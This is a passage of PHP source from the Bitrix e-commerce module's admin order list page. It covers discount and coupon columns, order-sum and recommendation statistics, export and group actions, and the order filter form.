$arActions[] = array("ICON"=>"delete", "TEXT"=>Loc::getMessage("SALE_DELETE_DESCR"), "ACTION"=>"if(confirm('".Loc::getMessage('SALE_CONFIRM_DEL_MESSAGE')."')) ".$lAdmin->ActionDoGroup($orderId, "delete", GetFilterParams("filter_", false)));
}
}
$row->AddActions($arActions);
}
}
if (!empty($rowsList))
{
if (in_array('BASKET_DISCOUNT_NAME', $arVisibleColumns))
{
$discountList = array();
$discountsIterator = Sale\Internals\OrderRulesTable::getList(array(
'select' => array('ORDER_ID', 'DISCOUNT_NAME' => 'ORDER_DISCOUNT.NAME', 'DISCOUNT_ID' => 'ORDER_DISCOUNT.ID'),
'filter' => array('@ORDER_ID' => array_keys($rowsList)),
'order' => array('ORDER_ID' => 'ASC', 'ID' => 'ASC')
));
while ($discount = $discountsIterator->fetch())
{
$discount['ORDER_ID'] = (int)$discount['ORDER_ID'];
$discount['DISCOUNT_ID'] = (int)$discount['DISCOUNT_ID'];
$discount['DISCOUNT_NAME'] = (string)$discount['DISCOUNT_NAME'];
if (!isset($discountList[$discount['ORDER_ID']]))
$discountList[$discount['ORDER_ID']] = array();
$discountList[$discount['ORDER_ID']][$discount['DISCOUNT_ID']] = ($discount['DISCOUNT_NAME'] != '' ? $discount['DISCOUNT_NAME'] : $discount['DISCOUNT_ID']);
}
unset($discount, $discountsIterator);
if (!empty($discountList))
{
foreach ($discountList as $order => $orderDiscounts)
$rowsList[$order]->AddViewField('BASKET_DISCOUNT_NAME', implode('<br><br>', $orderDiscounts));
unset($order, $orderDiscounts);
}
unset($discountList);
}
if (in_array('BASKET_DISCOUNT_COUPON', $arVisibleColumns))
{
$couponsList = array();
$couponsIterator = Sale\Internals\OrderCouponsTable::getList(array(
'select' => array('ORDER_ID', 'COUPON'),
'filter' => array('@ORDER_ID' => array_keys($rowsList)),
'order' => array('ORDER_ID' => 'ASC', 'ID' => 'ASC')
));
while ($coupon = $couponsIterator->fetch())
{
$coupon['ORDER_ID'] = (int)$coupon['ORDER_ID'];
if (!isset($couponsList[$coupon['ORDER_ID']]))
$couponsList[$coupon['ORDER_ID']] = array();
$couponsList[$coupon['ORDER_ID']][] = $coupon['COUPON'];
}
unset($coupon, $couponsIterator);
if (!empty($couponsList))
{
foreach ($couponsList as $order => $coupons)
$rowsList[$order]->AddViewField('BASKET_DISCOUNT_COUPON', implode('<br><br>', $coupons));
unset($order, $coupons);
}
unset($couponsList);
}
}
unset($rowsList);
$arFooterArray = array(
array(
"title" => Loc::getMessage('SOAN_FILTERED1').":",
"value" => $dbOrderList->SelectedRowsCount()
),
);
// recommendation summary
$rcmCount = 0;
$rcmValue = array();
$rcmValueCur = array();
$runtime = array(
new \Bitrix\Main\Entity\ExpressionField('SUM', 'SUM(sale_internals_order.PRICE)')
);
if(!empty($runtimeFields) && is_array($runtimeFields))
$runtime = array_merge($runtime, $runtimeFields);
$getListParamsSum = array(
'order' => array("CURRENCY" => "ASC"),
'filter' => $arFilterTmp,
'group' => array("CURRENCY"),
'select' => array("CURRENCY", "SUM"),
'runtime' => $runtime
);
if($saleModulePermissions == "W")
{
$dbOrderList = \Bitrix\Sale\Internals\OrderTable::getList($getListParamsSum);
while ($arOrderList = $dbOrderList->fetch())
{
$arFooterArray[] = array(
"title" => Loc::getMessage("SOAN_ITOG")." ".$arOrderList["CURRENCY"].":",
"value" => SaleFormatCurrency($arOrderList["SUM"], $arOrderList["CURRENCY"])
);
}
// recommendation summary
$rcmFilter = $arFilterTmp;
$rcmFilter['>BASKET.RECOMMENDATION'] = 0;
$runtime = array(
new \Bitrix\Main\Entity\ExpressionField('SUM', 'SUM(%s * %s)', array('BASKET.PRICE', 'BASKET.QUANTITY')),
new \Bitrix\Main\Entity\ExpressionField('COUNT', 'COUNT(sale_internals_order.ID)')
);
if(!empty($runtimeFields) && is_array($runtimeFields))
$runtime = array_merge($runtime, $runtimeFields);
$getListParamsSum = array(
'order' => array("BASKET.CURRENCY" => "ASC"),
'filter' => $rcmFilter,
'group' => array("BASKET.CURRENCY"),
'select' => array(
"BASKET_CURRENCY" => "BASKET.CURRENCY",
"SUM",
"COUNT"
),
'runtime' => $runtime
);
$dbOrderList = \Bitrix\Sale\Internals\OrderTable::getList($getListParamsSum);
if($arOrderList = $dbOrderList->fetch())
{
$rcmCount += $arOrderList['COUNT'];
while(!isset($rcmValueCur[$arOrderList["BASKET_CURRENCY"]]))
$rcmValueCur[$arOrderList["BASKET_CURRENCY"]] = 0;
$rcmValueCur[$arOrderList["BASKET_CURRENCY"]] += $arOrderList["SUM"];
}
}
elseif ($saleModulePermissions < "W")
{
// also count recommendation stats
$arOrdersSum = array();
$arGroupByTmp[] = 'BASKET.RECOMMENDATION';
$arGroupByTmp[] = 'BASKET_PRICE_TOTAL';
$arGroupByTmp[] = 'BASKET.CURRENCY';
$orderFilter = array(
'order' => array('ID' => 'asc'),
'filter' => $arFilterTmp,
'group' => $arGroupByTmp,
'select' => array(
'ID',
'CURRENCY',
'PRICE',
'BASKET_PRICE_TOTAL',
'BASKET_CURRENCY' => 'BASKET.CURRENCY',
'BASKET_RECOMMENDATION' => 'BASKET.RECOMMENDATION',
)
);
if (!empty($runtimeFields) && is_array($runtimeFields))
$orderFilter['runtime'] = $runtimeFields;
$dbOrderList = \Bitrix\Sale\Internals\OrderTable::getList($orderFilter);
$previousId = 0;
while ($arOrder = $dbOrderList->Fetch())
{
if($arOrder['ID'] != $previousId)
{
if(!array_key_exists($arOrder["CURRENCY"], $arOrdersSum))
$arOrdersSum[$arOrder["CURRENCY"]] = 0;
$arOrdersSum[$arOrder["CURRENCY"]] += $arOrder["PRICE"];
$previousId = $arOrder['ID'];
}
// recommendation stats
if($arOrder['BASKET_RECOMMENDATION'])
{
if(!array_key_exists($arOrder["BASKET_CURRENCY"], $rcmValueCur))
{
$rcmValueCur[$arOrder["BASKET_CURRENCY"]] = 0;
}
$rcmValueCur[$arOrder["BASKET_CURRENCY"]] += $arOrder["BASKET_PRICE_TOTAL"];
$rcmCount++;
}
}
// show summary
if (COption::GetOptionString("sale", "show_order_sum", "N")=="Y")
{
foreach ($arOrdersSum as $key => $value)
{
$arFooterArray[] = array(
"title" => Loc::getMessage("SOAN_ITOG")." ".$key.":",
"value" => $value
);
}
}
}
// recommendation stats
foreach ($rcmValueCur as $currency => $sum)
{
$rcmValue[] = SaleFormatCurrency($sum, $currency);
}
$order_sum = "";
foreach($arFooterArray as $val)
{
$order_sum .= $val["title"]." ".$val["value"]."<br />";
}
$arResult = array(
'RECOMMENDATION_ORDERS_COUNT' => $rcmCount,
'RECOMMENDATION_ORDERS_VALUE' => htmlspecialcharsEx(join(' / ', $rcmValue))
);
// prepare recommendation widget
ob_start();
?>
<div class="adm-c-bigdatabar-container">
<div class="adm-c-bigdatabar-summ"><?=Loc::getMessage('SALE_BIGDATA_SUM')?>
<?if(!empty($arResult['RECOMMENDATION_ORDERS_VALUE'])):?>
<strong><?=$arResult['RECOMMENDATION_ORDERS_VALUE']?></strong>
<? else: ?>
<?=Loc::getMessage('SALE_BIGDATA_SALES_NODATA')?>
<? endif; ?>
</div>
<div class="adm-c-bigdatabar-content">
<div class="adm-c-bigdatabar-line">
<strong><?=Loc::getMessage('SALE_BIGDATA_SALES_TITLE')?></strong> <?=Loc::getMessage('SALE_BIGDATA_SALES_COUNT')?> <?=$arResult['RECOMMENDATION_ORDERS_COUNT']?>
</div>
<div class="adm-c-bigdatabar-line">
<? $installed = (time()-Bitrix\Main\Config\Option::get('main', 'rcm_component_usage', 0)<3600*24);?>
<? if($installed): ?>
<span class="adm-c-bigdatabar-line-task"><?=Loc::getMessage('SALE_BIGDATA_WIDGET_ENABLED')?></span>
<? else: ?>
<span class="adm-c-bigdatabar-line-task bx-not-available"><?=Loc::getMessage('SALE_BIGDATA_WIDGET_DISABLED')?></span>
<? endif; ?>
<? $available = \Bitrix\Main\Analytics\Catalog::isOn(); ?>
<? if($available): ?>
<span class="adm-c-bigdatabar-line-task"><?=Loc::getMessage('SALE_BIGDATA_IS_ON')?></span>
<? else: ?>
<span class="adm-c-bigdatabar-line-task bx-not-available"><?=Loc::getMessage('SALE_BIGDATA_IS_OFF')?></span>
<? endif; ?>
<a href="sale_personalization.php?lang=<?=LANGUAGE_ID?>" class="adm-c-bigdatabar-line-task-link"><?=Loc::getMessage('SALE_BIGDATA_ABOUT')?></a>
</div>
</div>
<div class="clb"></div>
</div>
<?
$bigdataWidgetHtml = ob_get_contents();
ob_end_clean();
$lAdmin->BeginEpilogContent();
echo "<script>", $sScript, "\nif(document.getElementById('order_sum')) {setTimeout(function(){document.getElementById('order_sum').innerHTML = '".CUtil::JSEscape($order_sum)."';}, 10);}\n","</script>";
echo "<script>", $sScript, "\nif(document.getElementById('bigdatabar')) {setTimeout(function(){document.getElementById('bigdatabar').innerHTML = '".CUtil::JSEscape($bigdataWidgetHtml)."';}, 10);}\n","</script>";
?>
<script>
function exportData(val)
{
var oForm = document.form_<?= $sTableID ?>;
var expType = oForm.action_target.checked;
var par = "mode=excel";
if(!expType)
{
var num = oForm.elements.length;
for (var i = 0; i < num; i++)
{
if(oForm.elements[i].tagName.toUpperCase() == "INPUT"
&& oForm.elements[i].type.toUpperCase() == "CHECKBOX"
&& oForm.elements[i].name.toUpperCase() == "ID[]"
&& oForm.elements[i].checked == true)
{
par += "&OID[]=" + oForm.elements[i].value;
}
}
}
if(expType)
{
par += "<?= CUtil::JSEscape(GetFilterParams("filter_", false)); ?>";
}
if(par.length > 0)
{
var url = 'sale_order_export.php';
if (val == "excel")
{
url = 'sale_order.php';
}
window.open(url + "?EXPORT_FORMAT="+val+"&"+par, "vvvvv");
}
}
</script>
<?
$lAdmin->EndEpilogContent();
$arGroupActionsTmp = array(
"delete" => Loc::getMessage("MAIN_ADMIN_LIST_DELETE"),
"cancel" => Loc::getMessage("SOAN_LIST_CANCEL"),
"cancel_n" => Loc::getMessage("SOAN_LIST_CANCEL_N"),
"allow_delivery" => Loc::getMessage("SALE_SHIPMENT_ALLOW_DELIVERY"),
"allow_delivery_n" => Loc::getMessage("SALE_SHIPMENT_ALLOW_DELIVERY_N"),
"deducted" => Loc::getMessage("SALE_SHIPMENT_DEDUCTED"),
"deducted_n" => Loc::getMessage("SALE_SHIPMENT_DEDUCTED_N"),
"update_payment_status" => Loc::getMessage("SALE_UPDATE_PAYMENT_STATUS"),
"paid" => Loc::getMessage("SALE_ORDER_PAID"),
"paid_n" => Loc::getMessage("SALE_ORDER_PAID_N"),
"delivery_requests" => Loc::getMessage("SALE_SEND_DELIVERY_REQUEST"),
);
if($saleModulePermissions >= "W" || !empty($permDeleteOrderList))
{
$arGroupActionsTmp["archive"] = array(
"action" => "window.confirm('".Loc::getMessage('SALE_CONFIRM_ARCHIVE_GROUP')."')
{
if (BX(form_".$sTableID."))
BX.submit( BX(form_".$sTableID."), 'archive');
}
",
"value" => "archive",
"name" => Loc::getMessage("SOAN_LIST_ARCHIVE")
);
}
$allowedStatusesFrom = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('from'));
foreach($allowedStatusesFrom as $status)
{
if(!isset($LOCAL_STATUS_CACHE[$status])
|| empty($LOCAL_STATUS_CACHE[$status]))
{
$arStatus = StatusTable::getList(array(
'select' => array(
'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME',
'COLOR'
),
'filter' => array(
'=ID' => $status,
'=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => LANGUAGE_ID,
'=TYPE' => 'O'
),
'limit' => 1,
))->fetch();
if($arStatus)
{
$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['COLOR'] = htmlspecialcharsbx($arStatus["COLOR"]);
$LOCAL_STATUS_CACHE[$status]['NAME'] = htmlspecialcharsbx($arStatus["NAME"]);
}
}
$arGroupActionsTmp["status_".$status] = Loc::getMessage("SOAN_LIST_STATUS_CHANGE").' "'.$LOCAL_STATUS_CACHE[$status]['NAME'].'"';
}
$arGroupActionsTmp["export_csv"] = array(
"action" => "exportData('csv')",
"value" => "export_csv",
"name" => str_replace("#EXP#", "CSV", Loc::getMessage("SOAN_EXPORT_2"))
);
$arGroupActionsTmp["export_commerceml"] = array(
"action" => "exportData('commerceml')",
"value" => "export_commerceml",
"name" => str_replace("#EXP#", "CommerceML", Loc::getMessage("SOAN_EXPORT_2"))
);
$arGroupActionsTmp["export_commerceml2"] = array(
"action" => "exportData('commerceml2')",
"value" => "export_commerceml2",
"name" => str_replace("#EXP#", "CommerceML 2.0", Loc::getMessage("SOAN_EXPORT_2"))
);
$strPath2Export = BX_PERSONAL_ROOT."/php_interface/include/sale_export/";
if(file_exists($_SERVER["DOCUMENT_ROOT"].$strPath2Export))
{
if($handle = opendir($_SERVER["DOCUMENT_ROOT"].$strPath2Export))
{
while (($file = readdir($handle)) !== false)
{
if($file == "." || $file == "..")
continue;
if(is_file($_SERVER["DOCUMENT_ROOT"].$strPath2Export.$file) && substr($file, strlen($file)-4)==".php")
{
$export_name = substr($file, 0, strlen($file) - 4);
$arGroupActionsTmp["export_".$export_name] = array(
"action" => "exportData('".$export_name."')",
"value" => "export_".$export_name,
"name" => str_replace("#EXP#", $export_name, Loc::getMessage("SOAN_EXPORT_2"))
);
}
}
}
closedir($handle);
}
$lAdmin->AddGroupActionTable($arGroupActionsTmp);
$aContext = array();
if($saleModulePermissions >= 'P')
{
$allowedStatusesUpdate = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('update'));
}
if($saleModulePermissions == "W" || ($saleModulePermissions >= 'P' && !empty($allowedStatusesUpdate) ))
{
$siteLID = "";
$arSiteMenu = array();
$arSitesShop = array();
$arSitesTmp = array();
$rsSites = CSite::GetList($b = "id", $o = "asc", Array("ACTIVE" => "Y"));
while ($arSite = $rsSites->GetNext())
{
$site = Option::get("sale", "SHOP_SITE_".$arSite["ID"], "");
if($arSite["ID"] == $site)
{
$arSitesShop[] = array("ID" => $arSite["ID"], "NAME" => $arSite["NAME"]);
}
$arSitesTmp[] = array("ID" => $arSite["ID"], "NAME" => $arSite["NAME"]);
}
$rsCount = count($arSitesShop);
if($rsCount <= 0)
{
$arSitesShop = $arSitesTmp;
$rsCount = count($arSitesShop);
}
if($rsCount == 1)
{
$siteLID = "&SITE_ID=".$arSitesShop[0]["ID"];
}
else
{
foreach ($arSitesShop as &$val)
{
$arSiteMenu[] = array(
"TEXT" => $val["NAME"]." (".$val["ID"].")",
"ACTION" => "window.location = 'sale_order_create.php?lang=".LANGUAGE_ID."&SITE_ID=".$val["ID"]."';"
);
}
if(isset($val))
unset($val);
}
$aContext = array(
array(
"TEXT" => Loc::getMessage("SALE_A_NEWORDER"),
"ICON" => "btn_new",
"LINK" => "sale_order_create.php?lang=".LANGUAGE_ID.$siteLID,
"TITLE" => Loc::getMessage("SALE_A_NEWORDER_TITLE"),
"MENU" => $arSiteMenu
),
array(
"TEXT" => Loc::getMessage("SALE_O_CONTEXT_B_DELIVERY_REQUESTS"),
"TITLE" => Loc::getMessage("SALE_O_CONTEXT_B_DELIVERY_REQUESTS_TITLE"),
"MENU" => array(
array(
"TEXT" => Loc::getMessage('SALE_O_CONTEXT_B_DELIVERY_REQUESTS_SELECTED'),
"ONCLICK" =>"sendDeliveryRequestsForCurrentOrders(true)",
),
array(
"TEXT" => Loc::getMessage('SALE_O_CONTEXT_B_DELIVERY_REQUESTS_ALL'),
"ONCLICK" =>"sendDeliveryRequestsForCurrentOrders(false)",
)
)
)
);
}
$allowedStatusesDelete = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('delete'));
if ($saleModulePermissions == "W" || !empty($allowedStatusesDelete))
{
$aContext[] = array(
"TEXT" => Loc::getMessage("SOAN_ARCHIVE_LINK"),
"LINK" => "sale_archive.php?lang=".LANGUAGE_ID.$siteLID,
"TITLE" => Loc::getMessage("SOAN_ARCHIVE_LINK_TITLE")
);
}
/** @global CUser $USER */
global $USER;
$aAdditionalMenu = array();
if($USER->CanDoOperation("install_updates"))
{
$aAdditionalMenu[] = array(
"TEXT" => Loc::getMessage("SOAN_MARKETPLACE_ADD_NEW"),
"GLOBAL_ICON" => "adm-menu-marketplace",
"LINK" => "update_system_market.php?category=112&lang=".LANGUAGE_ID.$siteLID,
"TITLE" => Loc::getMessage("SOAN_MARKETPLACE_ADD_NEW_TITLE")
);
}
$lAdmin->AddAdminContextMenu($aContext, true, true, $aAdditionalMenu);
$lAdmin->CheckListMode();
\Bitrix\Main\Page\Asset::getInstance()->addString('<style>.adm-filter-item-center, .adm-filter-content {overflow: visible !important;}</style>');
/*********************************************************************/
/******************** PAGE *****************************************/
/*********************************************************************/
$APPLICATION->SetTitle(Loc::getMessage("SALE_SECTION_TITLE"));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
?>
<script type="text/javascript">
function fToggleSetItems(setParentId)
{
var elements = document.getElementsByClassName('set_item_' + setParentId);
var hide = false;
for (var i = 0; i < elements.length; ++i)
{
if(elements[i].style.display == 'none' || elements[i].style.display == '')
{
elements[i].style.display = 'table-row';
hide = true;
}
else
elements[i].style.display = 'none';
}
if(hide)
BX("set_toggle_link_" + setParentId).innerHTML = '<?=Loc::getMessage("SOA_HIDE_SET")?>';
else
BX("set_toggle_link_" + setParentId).innerHTML = '<?=Loc::getMessage("SOA_SHOW_SET")?>';
}
</script>
<form name="find_form" method="GET" action="<?echo $APPLICATION->GetCurPage()?>?">
<?
$arFilterFieldsTmp = array(
"filter_universal" => Loc::getMessage("SOA_ROW_BUYER"),
"filter_date_insert" => Loc::getMessage("SALE_F_DATE"),
"filter_date_update" => Loc::getMessage("SALE_F_DATE_UPDATE"),
"filter_id_from" => Loc::getMessage("SALE_F_ID"),
"filter_account_number" => Loc::getMessage("SALE_F_ACCOUNT_NUMBER"),
"filter_currency" => Loc::getMessage("SALE_F_LANG_CUR"),
"filter_price" => Loc::getMessage("SOA_F_PRICE"),
"filter_status" => Loc::getMessage("SALE_F_STATUS"),
"filter_date_status_from" => Loc::getMessage("SALE_F_DATE_STATUS"),
"filter_by_recommendation" => Loc::getMessage("SALE_F_BY_RECOMMENDATION"),
"filter_payed" => Loc::getMessage("SALE_F_PAYED"),
"filter_pay_system" => Loc::getMessage("SALE_F_PAY_SYSTEM"),
"filter_delivery_service" => Loc::getMessage("SALE_F_DELIVERY_SERVICE"),
"filter_person_type" => Loc::getMessage("SALE_F_PERSON_TYPE"),
"filter_canceled" => Loc::getMessage("SALE_F_CANCELED"),
"filter_deducted" => Loc::getMessage("SALE_F_DEDUCTED"),
"filter_allow_delivery" => Loc::getMessage("SALE_F_ALLOW_DELIVERY"),
"filter_date_paid" => Loc::getMessage("SALE_F_DATE_PAID"),
"filter_date_allow_delivery" => Loc::getMessage("SALE_F_DATE_ALLOW_DELIVERY"),
"filter_marked" => Loc::getMessage("SALE_F_MARKED"),
"filter_user_id" => Loc::getMessage("SALE_F_USER_ID"),
"filter_user_login" => Loc::getMessage("SALE_F_USER_LOGIN"),
"filter_user_email" => Loc::getMessage("SALE_F_USER_EMAIL"),
"filter_group_id" => Loc::getMessage("SALE_F_USER_GROUP_ID"),
"filter_product_id" => Loc::getMessage("SO_PRODUCT_ID"),
"filter_product_xml_id" => Loc::getMessage("SO_PRODUCT_XML_ID"),
"filter_affiliate_id" => Loc::getMessage("SO_AFFILIATE_ID"),
"filter_coupon" => Loc::getMessage("SALE_ORDER_LIST_HEADER_NAME_COUPONS"),
"filter_sum_paid" => Loc::getMessage("SO_SUM_PAID"),
"filter_xml_id" => Loc::getMessage("SO_XML_ID"),
"filter_tracking_number" => Loc::getMessage("SOA_TRACKING_NUMBER"),
"filter_delivery_doc_date" => Loc::getMessage("SOA_DELIVERY_DOC_DATE"),
"filter_source" => Loc::getMessage("SALE_F_SOURCE"),
"filter_company_id" => Loc::getMessage("SALE_F_COMPANY_ID"),
"filter_responsible_id" => Loc::getMessage("SALE_F_RESPONSIBLE_ID")
);
$isManyPersonTypes = false;
$allOrderProps = $arOrderPropsCode + $arOrderProps;
$propsIndex = array();
$orderPropertyFilterList = array();
$orderPropertyFilterListTmp = array();
foreach($allOrderProps as $key => $data)
{
if($data["IS_FILTERED"] == "Y" && $data["TYPE"] != "MULTIPLE")
{
if (!$isManyPersonTypes)
{
if (array_key_exists($data['NAME'], $propsIndex))
{
if (count($propsIndex[$data['NAME']]) > 1)
{
$isManyPersonTypes = true;
}
elseif (!in_array($data['PERSON_TYPE_ID'], $propsIndex[$data['NAME']]))
{
$isManyPersonTypes = true;
}
}
$propsIndex[$data['NAME']][] = $data['PERSON_TYPE_ID'];
}
$orderPropertyFilterListTmp[$data['LID']][$key] = $data;
}
}
foreach ($orderPropertyFilterListTmp as $propertyLid => $propertyListData)
{
if (!empty($propertyListData) && is_array($propertyListData))
{
foreach ($propertyListData as $key => $propertyData)
{
$orderPropertyFilterList[$key] = $propertyData;
$arFilterFieldsTmp[] = htmlspecialcharsbx($propertyData["NAME"]) . ($isManyPersonTypes ? " (".htmlspecialcharsbx($propertyData["PERSON_TYPE_NAME"]).") [".htmlspecialcharsbx($propertyData["LID"])."]" : "");
}
}
}
$oFilter = new CAdminFilter(
$sTableID."_filter",
$arFilterFieldsTmp
);
$oFilter->SetDefaultRows(array("filter_universal", "filter_status", "filter_canceled"));
$oFilter->AddPreset(array(
"ID" => "find_prioritet",
"NAME" => Loc::getMessage("SOA_PRESET_PRIORITET"),
"FIELDS" => array(
"filter_status" => "N",
"filter_price_from" => "10000",
"filter_price_to" => ""
),
//"SORT_FIELD" => array("DATE_INSERT" => "DESC"),
));
$oFilter->AddPreset(array(
"ID" => "find_allow_payed",
"NAME" => Loc::getMessage("SOA_PRESET_PAYED"),
"FIELDS" => array(
"filter_canceled" => "N",
"filter_payed" => "Y"
),
//"SORT_FIELD" => array("DATE_UPDATE" => "DESC"),
));
$oFilter->AddPreset(array(
"ID" => "find_order_null",
"NAME" => Loc::getMessage("SOA_PRESET_ORDER_NULL"),
"FIELDS" => array(
"filter_canceled" => "N",
"filter_payed" => "",
"filter_status" => array("N", "P"),
"filter_date_update_from_FILTER_PERIOD" => "before",
"filter_date_update_from_FILTER_DIRECTION" => "previous",
"filter_date_update_to" => ConvertTimeStamp(AddToTimeStamp(Array("DD" => -7))),
),
//"SORT_FIELD" => array("DATE_UPDATE" => "DESC"),
));
$oFilter->Begin();
?>
<tr>
<td><?=Loc::getMessage('SOA_ROW_BUYER')?>:</td>
<td>
<input type="text" name="filter_universal" value="<?echo htmlspecialcharsbx($filter_universal)?>" size="40">
</td>
</tr>
<tr>
<td><b><?echo Loc::getMessage("SALE_F_DATE");?>:</b></td>
<td>
<?echo CalendarPeriod("filter_date_from", $filter_date_from, "filter_date_to", $filter_date_to, "find_form", "Y")?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_DATE_UPDATE");?>:</td>
<td>
<?echo CalendarPeriod("filter_date_update_from", $filter_date_update_from, "filter_date_update_to", $filter_date_update_to, "find_form", "Y")?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_ID");?>:</td>
<td>
<script type="text/javascript">
function filter_id_from_Change()
{
if(document.find_form.filter_id_to.value.length<=0)
{
document.find_form.filter_id_to.value = document.find_form.filter_id_from.value;
}
}
</script>
<?echo Loc::getMessage("SALE_F_FROM");?>
<input type="text" name="filter_id_from" OnChange="filter_id_from_Change()" value="<?echo (IntVal($filter_id_from)>0)?IntVal($filter_id_from):""?>" size="10">
<?echo Loc::getMessage("SALE_F_TO");?>
<input type="text" name="filter_id_to" value="<?echo (IntVal($filter_id_to)>0)?IntVal($filter_id_to):""?>" size="10">
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_ACCOUNT_NUMBER");?>:</td>
<td>
<input type="text" name="filter_account_number" value="<?echo htmlspecialcharsbx($filter_account_number)?>" size="10">
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_LANG_CUR");?>:</td>
<td>
<select name="filter_lang">
<option value=""><?= htmlspecialcharsbx(Loc::getMessage("SALE_F_ALL")) ?></option>
<?
$b1 = "SORT";
$o1 = "ASC";
$dbSitesList = CLang::GetList($b1, $o1);
while ($arSitesList = $dbSitesList->Fetch())
{
if(!in_array($arSitesList["LID"], $arAccessibleSites)
&& $saleModulePermissions < "W")
continue;
?><option value="<?= htmlspecialcharsbx($arSitesList["LID"])?>"<?if($arSitesList["LID"] == $filter_lang) echo " selected";?>>[<?= htmlspecialcharsbx($arSitesList["LID"]) ?>] <?= htmlspecialcharsbx($arSitesList["NAME"]) ?></option><?
}
?>
</select>
/
<?echo CCurrency::SelectBox("filter_currency", $filter_currency, Loc::getMessage("SALE_F_ALL"), false, "", ""); ?>
</td>
</tr>
<tr>
<td><?=Loc::getMessage("SOA_F_PRICE");?>:</td>
<td>
<?echo Loc::getMessage("SOA_F_PRICE_FROM");?>
<input type="text" name="filter_price_from" value="<?=(floatval($filter_price_from)>0)?floatval($filter_price_from):""?>" size="3">
<?echo Loc::getMessage("SOA_F_PRICE_TO");?>
<input type="text" name="filter_price_to" value="<?=(floatval($filter_price_to)>0)?floatval($filter_price_to):""?>" size="3">
</td>
</tr>
<tr>
<td valign="top"><?echo Loc::getMessage("SALE_F_STATUS")?>:</td>
<td valign="top">
<select name="filter_status[]" multiple size="3">
<?
$statusesList = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations(
$USER->GetID(),
array('view')
);
$allStatusNames = \Bitrix\Sale\OrderStatus::getAllStatusesNames();
foreach($statusesList as $statusCode)
{
if (!$statusName = $allStatusNames[$statusCode])
continue;
?><option value="<?= htmlspecialcharsbx($statusCode) ?>"<?if(is_array($filter_status) && in_array($statusCode, $filter_status)) echo " selected"?>>[<?= htmlspecialcharsbx($statusCode) ?>] <?= htmlspecialcharsbx($statusName) ?></option><?
}
?>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_DATE_STATUS");?>:</td>
<td>
<?echo CalendarPeriod("filter_date_status_from", $filter_date_status_from, "filter_date_status_to", $filter_date_status_to, "find_form", "Y")?>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_BY_RECOMMENDATION")?>:</td>
<td>
<select name="filter_by_recommendation">
<option value=""><?echo GetMessage("SALE_F_ALL")?></option>
<option value="Y"<?if ($filter_by_recommendation=="Y") echo " selected"?>><?echo GetMessage("SALE_YES")?></option>
<option value="N"<?if ($filter_by_recommendation=="N") echo " selected"?>><?echo GetMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?echo Loc::getMessage("SALE_F_PAYED")?>:</td>
<td>
<select name="filter_payed">
<option value=""><?echo Loc::getMessage("SALE_F_ALL")?></option>
<option value="Y"<?if($filter_payed=="Y") echo " selected"?>><?echo Loc::getMessage("SALE_YES")?></option>
<option value="N"<?if($filter_payed=="N") echo " selected"?>><?echo Loc::getMessage("SALE_NO")?></option>
</select>
</td>
</tr>
<tr>
<td><?=Loc::getMessage("SALE_F_PAY_SYSTEM")?>:</td>
<td>
<?
$ptRes = Sale\Internals\PersonTypeTable::getList(array(
'order' => array("SORT"=>"ASC", "NAME"=>"ASC")
));
$personTypes = array();
while ($personType = $ptRes->fetch())
$personTypes[$personType['ID']] = $personType;
?>
<select name="filter_pay_system[]" multiple size="3">
<option value=""><?echo GetMessage("SALE_F_ALL")?></option>
<?
$res = \Bitrix\Sale\PaySystem\Manager::getList(array(
'select' => array('ID', 'NAME'),
'filter' => array('ACTIVE' => 'Y'),
'order' => array("SORT"=>"ASC", "NAME"=>"ASC")
));
$paySystemList = array();
while ($paySystem = $res->fetch())
$paySystemList[$paySystem['ID']]['NAME'] = $paySystem['NAME'];
if ($paySystemList):
$dbRestRes = Sale\Services\PaySystem\Restrictions\Manager::getList(array(
'select' => array('SERVICE_ID', 'PARAMS'),
'filter' => array(
'=CLASS_NAME' => '\Bitrix\Sale\Services\PaySystem\Restrictions\PersonType',
'SERVICE_ID' => array_keys($paySystemList)
)
));
while ($ptParams = $dbRestRes->fetch())
$paySystemList[$ptParams['SERVICE_ID']]['PERSON_TYPE_ID'] = $ptParams['PARAMS']['PERSON_TYPE_ID'];
foreach ($paySystemList as $psId => $paySystem):
$personTypeString = '';
if ($paySystem['PERSON_TYPE_ID'])
{
$psPt = array();
foreach ($paySystem['PERSON_TYPE_ID'] as $ptId)
$psPt[] = ((strlen($personTypes[$ptId]['NAME']) > 15) ? substr($personTypes[$ptId]['NAME'], 0, 6)."...".substr($personTypes[$ptId]['NAME'], -7) : $personTypes[$ptId]['NAME'])."/".$personTypes[$ptId]["LID"]."";
if ($psPt)
$personTypeString = ' ('.join(', ', $psPt).')';
}
?><option title="<?echo htmlspecialcharsbx($paySystem["NAME"].$personTypeString);?>" value="<?echo htmlspecialcharsbx($psId)?>"<?if(is_array($filter_pay_system) && in_array($psId, $filter_pay_system)) echo " selected"?>>[<?echo htmlspecialcharsbx($psId) ?>] <?echo htmlspecialcharsbx($paySystem["NAME"].$personTypeString);?></option>
<?endforeach;?>
<?endif;?>
</select>
</td>
</tr>
<tr>
<td><?=Loc::getMessage("SALE_F_DELIVERY_SERVICE")?>:</td>
<td>
<select name="filter_delivery_service[]" multiple size="3">
<option value=""><?echo GetMessage("SALE_F_ALL")?></option>
<?
Sale\Delivery\Services\Manager::getHandlersList();
$deliveryServiceParentListParent = array();
$deliveryServiceListAll = array();
$deliveryServiceList = array();
$res = Sale\Delivery\Services\Table::getList(array(
'select' => array('ID', 'NAME', 'PARENT_ID', 'CLASS_NAME', 'PARENT_NAME' => 'PARENT.NAME'),
'filter' => array('ACTIVE' => 'Y'),
